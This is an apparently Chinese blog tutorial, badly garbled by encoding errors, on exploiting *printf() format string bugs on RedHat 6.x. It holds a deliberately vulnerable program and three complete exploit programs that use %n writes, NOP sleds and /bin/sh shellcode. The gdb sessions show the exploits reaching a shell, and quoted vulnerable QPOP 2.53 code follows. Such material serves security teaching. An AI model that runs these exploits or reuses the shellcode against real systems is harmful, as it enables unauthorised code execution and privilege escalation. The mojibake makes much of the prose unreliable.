#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) bt 
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
#1  0x40070716 in _IO_vsnprintf (
    string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    args=0xbffff2d0) at vsnprintf.c:129
#2  0x80484de in log (level=1,
    fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
    at vul.c:13
#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3  -----> 查看main()的栈?br />Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc  ----> OK,存放eip的地址?xbffff6dc
(gdb)

好的Q既然现在我们已l知道了RETloc的地址Q就让我们运行一下我们的dE序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA荟?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0  0x42 in ?? ()
(gdb) bt
#0  0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc:     0x00000042
(gdb)

很可惜,q没有看Co人激动的#hC符。看h0xbffffb08的长度不能被正确的打印出来,
Ҏ试Q至大?x90000000的长度都不能正确昄Q具体原因还有待研究。感兴趣的读?br />可以自行分析一下。ؓ了得C个可以工作的版本Q我们改动一下vul.c和exp.c:

<- begin ->  vul1.c

#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>

#define BUFSIZE 1024

char egg[BUFSIZE];

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE];
   va_list ap;
 
   va_start(ap, fmt);
   vsnprintf(buf, sizeof(buf)-1, fmt, ap);
   buf[BUFSIZE-1] = '\0';
   syslog(level, "[hmm]: %s", buf);
   va_end(ap);
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE];
  int i,num;
 
  if(getenv("EGG")) {
     /* 我们环境EGG的内容复制到一个全局buffer里,
      * 而这个buffer的v始地址?x80xxxxx,它可以被正确昄
      */
     strncpy(egg, getenv("EGG"), BUFSIZE-1);
     egg[BUFSIZE-1] = '\0';
  }
  num = argc ;
  if(argc > 1) {
    for ( i = 1 ; i < num ; i ++ ) {
            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            buf[BUFSIZE-1] = '\0';
            log(LOG_ALERT, buf);  // q里有问?br />            printf("argv[%d] = %s \n", i, argv[i]);
    }
  }
}

<- end -> 

<- begin ->  exp1.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffadc                  
#define DEFAULT_SHELLADDR        0x8049800   //我们的shellcode地址在Heap/BSSD               ?
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               1024                  
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long retloc = DEFAULT_RETLOC;
  long shell_addr = DEFAULT_SHELLADDR;

  int align = DEFAULT_ALIGNMENT;       
  int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;                            
  int i;
                                                              

  if (argc > 1) sscanf(argv[1],"%x",&retloc);
  if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);                                                            
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: %#x\n", retloc);
  printf("Using Shellcode address: %#x\n", shell_addr);                      
                                                              
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;                      
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '\0';                                     
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul1","vul1",buff,NULL,env);         
}  /* end of main */      

<- end -> 

q里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端Q?br />0x8000000以后的地址,q个地址可以被正确昄Q因此就可以正确的覆盖main()?br />q回地址Qƈ跛_那里L行我们的shellcode.q个地址的获取,也可以通过gdb跟踪
得到Q这里不再赘q?br />
[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800

argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好Q成功了Q注意在得到#hC符前,通常需要等待几U钟Q这是因为显C?x8049800
个字W也是颇需要一D|间的.(当然Q结果ƈ没有昄在标准输Z) :-)

<2> dҎ二:多次覆盖q回地址(1)
====================================

上面的程序只能在RedHat 6.2q样的系l上成功Q在RedHat 6.1下它是不能成功的。原?br />前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢Qƈ不是q样的,只要我们?br />一下脑{,׃发现׃q个问题E序自n的特Ԏ颐窃赗edHat 6.1下也可以成功的进?br />d。我们看到问题程序vul.c会显Cƈ记录所有用戯入的参数Q而制U我们的dE序?br />因素是昄的长度,那么如果我们不显C那么さ哪谌荩瑅snprintf()是可以正常工作的Q?br />AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先惛_的时候如何减shell_addr的倹{如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

例如Q假讑֜RETlocq个地址中保存有q回地址0x44332211,我们惛_q个0x44332211换成
存放shellcode的地址Q?xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4分别是Q?br />
SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec

我们所要做的就是依ơ将q四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去Q也是Q?br />
AA|RETloc  |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

注意Q我们考虑的是Intel x86的系l,因此Q排列顺序是反序?br />下图可以让你更清楚的看到每一ơ覆盖后的变化:

RETloc  RETloc+1 RETloc+2 RETloc+3
|0x11   | 0x22   | 0x33   |0x44|                   原来存放的地址: 0x44332211
|0xec   | 0x00   | 0x00   |0x00|                   W一ơ覆盖SH4:  0x000000ec
|0xec   | 0xfc   | 0x00   |0x00| 0x00|             W二ơ覆盖SH3:  0x0000fcec
|0xec   | 0xfc   | 0xff   |0x00| 0x00| 0x00|       W三ơ覆盖SH2:  0x00fffcec
|0xec   | 0xfc   | 0xff   |0xbf| 0x00| 0x00| 0x00| W四ơ覆盖SH1:  0xbffffcec

需要特别注意的是:q样四次覆盖之后Q将D原来存放函数参数的地址内容被清Ӟ
例如RETloc+4,RETloc+5,RETloc+6{处Q如果该函数在覆盖以后仍焉要访问这几个?br />敎ͼ可能会导致函C能正帔R出,特别是一些极端依赖函数参数的情况下?br />
另外一个问题是E序是否允许你连l四ơ进行覆盖,如果只能覆盖一ơ,也不能达到我?br />的目的,不过我们看到我们的问题程序是会@环从main()的参Cdq调用log()子函?br />Q那么我们只要提供四个命令行参数可以进行四ơ覆盖了?br />
<- begin ->  exp2.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    500                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffa6c                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff[4], *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,j;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                                                            
  for(i = 0 ; i < 4 ; i++ ) {
    if (!(buff[i] = malloc(bsize))) {                              
       printf("Can't allocate memory.\n");                       
       exit(0);                                                  
    }
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                                                 
  printf("Using Shellcode address: 0x%x\n", shell_addr);
  for(j = 0; j < 4 ; j++) {                                                            
     ptr = buff[j];                                                 
     memset(ptr,'A',4);

     ptr += align;
     (*ptr++) =  retloc & 0x000000ff;        /* 填充retloc */              
     (*ptr++) = (retloc & 0x0000ff00) >> 8;                
     (*ptr++) = (retloc & 0x00ff0000) >> 16;               
     (*ptr++) = (retloc & 0xff000000) >> 24;                 
 
     retloc++; /* retloc地址后移一个字节,以便q行下一ơ覆?*/
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%.10u", 5); /* 输入格式Ԍ调整%n所对应的位|?*/
        ptr += 5;
     }
     tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
     if(tmpaddr > 56 )  /* 计算最后一?nu中的n?*/
       sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
     else
       sprintf(ptr, "%%.%uu%%n", 1);

 
  }
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);         
}  /* end of main */      

<- end -> 


[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec

argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#

注意我们上面的exp2.c中在计算最后一?.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所昄的长度可能不{于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址׃有偏差,q运的是Q由于我?br />的shellcode是存攑֜环境变量中,它通常在堆栈的高端Q地址通常?xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况Q而如果我们的shellcode前面填充了一?br />NOP指o的话Q那么我们的shellcode地址有一个范_只要落在q个范围内,都可以执?br />我们的shellcode,因此只要我们在这一D地址内选择一个有效的地址可以了?br />
q个E序在RedHat 6.1和RedHat 6.2下都验证通过?br />
<3> dҎ三:多次覆盖q回地址(2)
======================================

有读者可能会_q个E序的成功依赖于我们可以q箋q行四次覆盖。如果只l我们一?br />ZQ是不是׃行了?其实Q还有一U方法可以完成我们的d。基本思\也是分四?br />来覆盖,只不q通过一?printf()可以完成了Q考虑下列q种情况Q?br />
  |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
     ^        ^        ^        ^                 |      |      |      |
     |        |        |        |_________________|______|______|______|                                     
     |        |        |__________________________|______|______|                                                    
     |        |___________________________________|______| 
     |____________________________________________|

我们使用四个%n,它们会依ơ将4个显C长度保存到对应的地址厅R我们如果调?c的个敎ͼ
使第一?n对应RET1Q第二个%n对应RET2Q第三个%n对应RET3Q第四个%n对应RET4,那么?br />们就成功了一半了。当然我们要?
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3

n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4??c昄的长度,12?AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三l?AAAARET"的长?
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2 

q样Q在到W一?nӞ昄总长度就是SH4,到W二?nӞ昄总长度就?SH3,?br />此类推?br />注意Q由于SH1通常{于0xbf(如果是在堆栈中的?Q而SH2通常{于0xff,SH1<SH2,
因此我们lSH1加上一个大?x0100Q让它变?x01BF,q样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常q不会造成大的影响QRETloc+3仍然被正的Ҏ?xbf

RETloc  RETloc+1 RETloc+2 RETloc+3                               
|0xec   | 0xfc   | 0xff   |0xbf| 0x01| 0x00| 0x00| W四ơ覆盖SH1:  0xbffffcec                               

因此Q我们让n4 = 0x0100 + SH1 - SH2

另外我们的程序中没有使用%.nu的格式而是采用?nc, q是因ؓ%nc可以更加准确的决?br />我们的显C长度,只要n>0,昄长度L_的等于n,q就为我们的计算带来了很大的?br />ѝ?注意不能使用%.nc的格式,q不起作? 不过%nc会用空格来填充I白部分Q如?br />应用E序空g为分隔符来解释时Q可能会出问题?br />
<- begin ->  exp3.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    550                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffabc                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,SH1,SH2,SH3,SH4,oldSH4;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                                                            
 
  if (!(buff = malloc(bsize))) {                              
       printf("Can't allocate memory.\n");                       
       exit(0);                                                  
    }
                                                

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                                                 
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
  SH1 = (shell_addr >> 24) & 0xff;
  SH2 = (shell_addr >> 16) & 0xff;
  SH3 = (shell_addr >>  8) & 0xff;
  SH4 = (shell_addr >>  0) & 0xff;

  /* 如果SH4于44,我们增大它的|让它{于44 + 1,以免出现负?*/
  if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
      oldSH4 = SH4;
      SH4 = 4 + 12 + 4 + 8*3 + 1;
      printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
  }
 
     ptr = buff;                                                 
 
     for (i = 0; i <4 ; i++, retloc++ ){
       memset(ptr,'A',4);
       ptr += 4 ;
       (*ptr++) =  retloc & 0xff;        /* 填充retloc+n (n= 0,1,2,3) */         
       (*ptr++) = (retloc >> 8  ) & 0xff ;                
       (*ptr++) = (retloc >> 16 ) & 0xff ;                
       (*ptr++) = (retloc >> 24 ) & 0xff ;                
      }
         
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%c", 2); /* 输入格式Ԍ调整%n所对应的位|?*/
        ptr += 2;
     }
     /* "输入"我们的shellcode地址 */
     sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
              (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
 
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff + align, NULL,env);         
}  /* end of main */    

<- end -> 

验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱RAAA晋RAAA菌RAAAH?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
q个E序在redhat 6.1和redhat 6.2下均验证通过


<4> dҎ三:多次覆盖q回地址(利用%hn)
=========================================

在drow的statd-toy.c中又提供了一U方?利用%hn,它会覆盖一个字的高16位:

main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}

[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c

<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141

Breakpoint 1, main () at aa.c:5
5        printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4:     0x0c    0x00    0x41    0x41

因此我们只要覆盖两次可以了Q具体的Ҏ和前面相|有兴的读者可以自行测试一下?br />q种Ҏ的好处是我们不会覆盖多余的地址Q它只覆盖指定地址的两个字节内容!


l合上面的几U方法,我们会看到第三和W四U方法是最通用的,可以适用于各U情c第
一U和W二U都有其自己的局限性,更多的依赖于应用E序自n的特炏V?br />
不过q几U方法都׃个局限,是必须非常_的给定存放返回地址的地址Qretloc,错一
个字节也不行。这使攻ȝ成功率大打折扣。回忆一下原来的普通exploitZ么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc可以了Qƈ不需?br />知道retloc切的倹{而这里,我们必须_指定retloc,shellcode地址直接填充到返回地
址中去。而由于retloc的大和用户环境变量{因素有很大关系Q往往不是很确?不是那么
Ҏ׃ơ成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别?br />shellcode地址存到q些地址去,那么我们不就可以增大成功的把握了吗?利用W?U方法,?br />很容易做到这一点的。具体的操作有兴的读者可以自行测试,也可以与我联pR?br />

另外Q?nq不仅仅局限于用来覆盖q回地址Q也可以用来覆盖某些保存的数据,比如保存
的uid,gid{等?br />
l束?br />========

q种格式化串D的溢出问题,虽然看v来比较复杂,实际上只要程序员在书写应用程?br />时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌?-) ׃旉仓促Q文?br />错疏之处隑օQ敬h评指正?br />

参考文?br />==========
[1] <<Format Bugs: What are they, Where did they come from,.........
      How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>,  Pascal Bouchareine [ kalou <pb@grolier.fr> ]

Asp 2006-10-20 20:55 发表评论
]]>
*printf()格式化串安全漏洞分析(? (?http://www.shnenglu.com/asp/archive/2006/10/20/13921.htmlAspAspFri, 20 Oct 2006 12:54:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/20/13921.htmlhttp://www.shnenglu.com/asp/comments/13921.htmlhttp://www.shnenglu.com/asp/archive/2006/10/20/13921.html#Feedback2http://www.shnenglu.com/asp/comments/commentRss/13921.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13921.html

前言Q?/h4>=====
最q一D|_一U新的安全漏z正开始引起h们注意,是诸多?printf()函数的格?br />化串问题。其实这个问题应该说q不鲜见Q只是一直没有h注意它,直到最q才开始进?br />一些深入的讨论。格式化串的问题实际上是׃E序员编E时的疏漏所D的,下面我们
来看看具体是怎么回事?br />

关于格式化串

============
*printf()函数包括printf,  fprintf,  sprintf,  snprintf,  vprintf, vfprintf,
vsprintf, vsnprintf{函敎ͼ它们可以数据格式化后输出。以最单的printf()ZQ?br />int printf(const char *format, arg1,arg2,...);

通过定制format的内?%s,%d,%p,%x...),用户可以数据按照某U格式输出。问题是Q?br />*printf()函数q不能确定数据参数arg1,arg2...I竟在什么地方结束,也就是说Q它不知
道参数的个数。它只会Ҏformat中的打印格式的数目依ơ打印堆栈中参数format后面地址
的内宏V先来看一个简单的例子Q?br />
<- begin ->  fmt_test.c

Qi nclude <stdio.h>

int main(void)
{
   char string[]="Hello World!";
   
   printf("String: %s  , arg2: %#p , arg3: %#p\n", string);
   return 0;
}

<- end ->  

上面的例子中我们其实只提供了一个数据参?string",但在格式串中有三个打印格式,
我们看一下运行的l果Q?br />
[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c
[warning3@redhat-6 format]$ ./fmt_test
String: Hello World!  , arg2: 0x6c6c6548 , arg3: 0x6f57206f

我们来看一下arg2,arg3昄的是哪里的内容:
[warning3@redhat-6 format]$ gdb ./fmt_test
<...>
(gdb) b printf
Breakpoint 1 at 0x8048308
(gdb) r
Starting program: /home/warning3/format/./fmt_test
Breakpoint 1 at 0x40064f5c: file printf.c, line 30.

Breakpoint 1, printf (
    format=0x80484c0 "String: %s  , arg2: %#p , arg3: %#p\n") at printf.c:30
30      printf.c: No such file or directory.
(gdb) x/10x $ebp
0xbffffc88:     0xbffffca8      0x08048403      0x080484c0      0xbffffc98
0xbffffc98:     0x6c6c6548      0x6f57206f      0x21646c72      0x08049500
0xbffffca8:     0xbffffcc8      0x400301eb

我们看到printf()的第一个参数地址?ebp+8,里面的内Ҏ0x080484c0,
(gdb) x/s 0x080484c0
0x80484c0 <_IO_stdin_used+60>:   "String: %s  , arg2: %#p , arg3: %#p\n"
q是我们的格式化串的地址

再来看我们要格式化输出的数据($ebp+12):
(gdb) x/s 0xbffffc98
0xbffffc98:      "Hello World!"

我们看到Q紧接着下来的两个字的内容就是刚才的E序中显C的l果Q?br />$ebp+16: 0x6c6c6548  "Hell"
$ebp+20: 0x6f57206f  "o Wo"

从下面的C意图上可以看得更清楚一些:

              栈顶
       +------------+
      |   ......   |    
      +------------+
0xbffffc88| 0xbffffca8 | --------> 保存的EBP  -- printf()
      +------------+
      | 0x08048403 | --------> 保存的EIP  -- printf()
      +------------+  format
format->  | 0x080484c0 | --------> "String: %s  , arg2: %#p , arg3: %#p\n"的地址
      +------------+  arg1
      | 0xbffffc98 | --------> "Hello World!"的地址                          
      +------------+
      | 0x6c6c6548 | --------> string[] = "Hell    
      +------------+
      | 0x6f57206f | -------->             o Wo
      +------------+
      | 0x21646c72 | -------->             rld!"
      +------------+
      | 0x08049500 | -------->   '\0'xxx
      +------------+
0xbffffca8| 0xbffffcc8 | --------> 保存的EBP  -- main()
      +------------+
      | 0x400301eb | --------> 保存的EIP  -- main()
      +------------+
          |   ......   |    
      +------------+
              栈底

我们可以看到Qarg2,arg3所昄的其实是main()中数lstrings中前两个字的内容?br />从上面这个简单的例子我们可以看到, *printf()只根据format中打印格?%)的数目来依次
昄堆栈中format参数后面地址的内?每次Ud一个字(4个字?.
׃我们上面的例子中出现了三?%)P所以它会依ơ打C个地址的内?
format+4, format + 8, format + 12.

(注意Qƈ不是所有的%格式都是Ud4个字节,例如%f每ơ移?个字节。如果要覆盖的地址
距离比较q?比如2048字节)Q?的个数又有所限制的话Q?f可以较快的到?目的?Q?br />只需?56?f可以了,%E也是如此)

正常情况下,׃format串通常是程序员自己来定Ӟ很少出现上面那种情况Q而且即
出现了,也ƈ不会有什么大的安全问题。然而,如果format串是qh供的话,那么?br />非常危险了!q种情况往往是由于程序员的疏忽导致的。最常见的情冉|当需要利?br />vsprintf(){来构造自qcprintf()函数Ӟ例如

mylog(LEVEL, "username = %s", username);

如果引用mylog旉误的使用了mylog(LEVEL,user_buf),而user_buf的内容又是用户可以控
制的话,那么真正的危险就来了?br />

1. 问题一Q格式化串导致的传统~冲区溢?/h4>==========================================
我们以不久前发现的QPOP 2.53的例子来做一下详l的说明?br />

QPOP 2.53中pop_uidl.c中有个函数pop_euidl (p)Q用来完成EUIDL命o的功能,它错误的
使用了pop_msg()函数Q?br />
.......
pop_euidl (p)
POP     *   p;
{
    char                    buffer[MAXLINELEN];     /*  Read buffer */
    char            *nl, *bp;
    MsgInfoList         *   mp;         /*  Pointer to message info list */
......
      if (mp->del_flag) {
      
      /* 注意Q?q里使用pop_msg()的做法是正确的! 注意和下面那个pop_msg()的用?br />                做一下比较?br />       */
        return (pop_msg (p,POP_FAILURE,
                "Message %d has been marked for deletion.",msg_id));
      } else {

    sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
        if (nl = index(buffer, NEWLINE)) *nl = 0;
       /* 下面q个sprintf()用戯入的数据拯到buffer中,׃限制?s的宽度,
           因此不会发生~冲区溢?*/        
    
    sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
    
    /* 注意Q这里直接将buffer作ؓW三个参C递给pop_msg(),q是错误的! */
    return (pop_msg (p,POP_SUCCESS, buffer));
      }

我们再来看看pop_msg()函数Q它在pop_msg.c中定义:

......
#define BUFSIZE 2048
......
#ifdef __STDC__
/* 我们看到Qpop_msg()的第三个参数是format?/
pop_msg(POP *p, int stat, const char *format,...)
#else
pop_msg(va_alist)
va_dcl
#endif
{
#ifndef __STDC__
    POP             *   p;
    int                 stat;              /*  POP status indicator */
    char            *   format;            /*  Format string for the message */
#endif
    va_list             ap;
    register char   *   mp;
#ifdef PYRAMID
    char        *   arg1, *arg2, *arg3, *arg4, *arg5, *arg6;
#endif
    char                message[BUFSIZE]; /* 定义了一个BUFSIZE=2048大小的缓冲区 */

#ifdef __STDC__
    va_start(ap,format);
.......

    /*  Point to the message buffer */
    mp = message;                       /* mp指向message[]起始地址 */
......
    /*  Append the message (formatted, if necessary) */
    if (format) {
#ifdef HAVE_VPRINTF
